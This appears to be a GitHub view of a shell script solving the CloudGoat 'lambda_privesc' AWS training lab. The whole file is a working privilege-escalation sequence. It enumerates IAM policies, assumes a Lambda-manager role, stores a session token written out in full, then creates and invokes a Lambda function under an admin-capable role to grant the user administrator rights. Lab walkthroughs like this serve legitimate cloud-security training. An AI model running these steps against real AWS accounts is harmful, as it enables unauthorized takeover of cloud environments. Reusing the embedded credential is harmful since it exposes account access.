-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathiam_priv-esc.script.txt
65 lines (34 loc) · 2.07 KB
/
iam_priv-esc.script.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
aws sts get-caller-identity --profile chris
aws iam list-attached-user-policies \
--user-name chris-cgidp2jpdix320 \
--profile chris
aws iam get-policy-version \
--policy-arn arn:aws:iam::408844262892:policy/cg-chris-policy-cgidp2jpdix320 \
--version-id v1 \
--profile chris
aws iam list-roles --profile chris
aws iam list-attached-role-policies --role-name cg-debug-role-cgidp2jpdix320 --profile chris
aws iam list-attached-role-policies --role-name cg-lambdaManager-role-cgidp2jpdix320 --profile chris
aws iam get-policy-version --policy-arn arn:aws:iam::408844262892:policy/cg-lambdaManager-policy-cgidp2jpdix320 --version-id v1 --profile chris
# This will not work
aws sts assume-role --role-arn arn:aws:iam::408844262892:role/cg-debug-role-cgidp2jpdix320 --role-session-name wannaBeAdmin --profile chris
aws sts assume-role --role-arn arn:aws:iam::408844262892:role/cg-lambdaManager-role-cgidp2jpdix320 --role-session-name lambdaManager --profile chris
aws configure --profile lambdaManager
aws configure --profile lambdaManager set aws_session_token 'FwoGZXIvYXdzEPb//////////wEaDL2eCCOOb5mi85VxtiKxAXdefJ87batlNJlEMGwiosg/MKimOc2nibavIRa6uLdMXkNJEhqttaB+hoW7/JPQagvKQrWtWdzADstRjmj0du2ZqYg7Vh9LECJFQonccXrjOg31p5XlQTzJL7mz33sVohthVpwRw5eHtW1H0oJg3i3qptBNUnqKOBRv5p5qbd84drymDbvdcX7aqo06mAR88b4exiblPs1P3+nvIHNssqW2D1GWH8AV7hUPk9oxuERIFCjiroaGBjItBXuxC1rsGdxayBHq3L4Clghcbzd1rH3L8/wypoZnIAVqt6OohtedvB6EeSLQ'
cd ~/Downloads/cloudgoat/lambda_privesc_cgidp2jpdix320/
cat lambda_function.py
# zip lambda_function.py.zip lambda_function.py
aws lambda create-function \
--function-name admin_function \
--runtime python3.6 \
--role arn:aws:iam::408844262892:role/cg-debug-role-cgidp2jpdix320 \
--handler lambda_function.lambda_handler \
--zip-file fileb://lambda_function.py.zip \
--profile lambdaManager
aws lambda invoke \
--function-name admin_function \
out.txt \
--profile lambdaManager
aws iam list-attached-user-policies \
--user-name chris-cgidp2jpdix320 \
--profile chris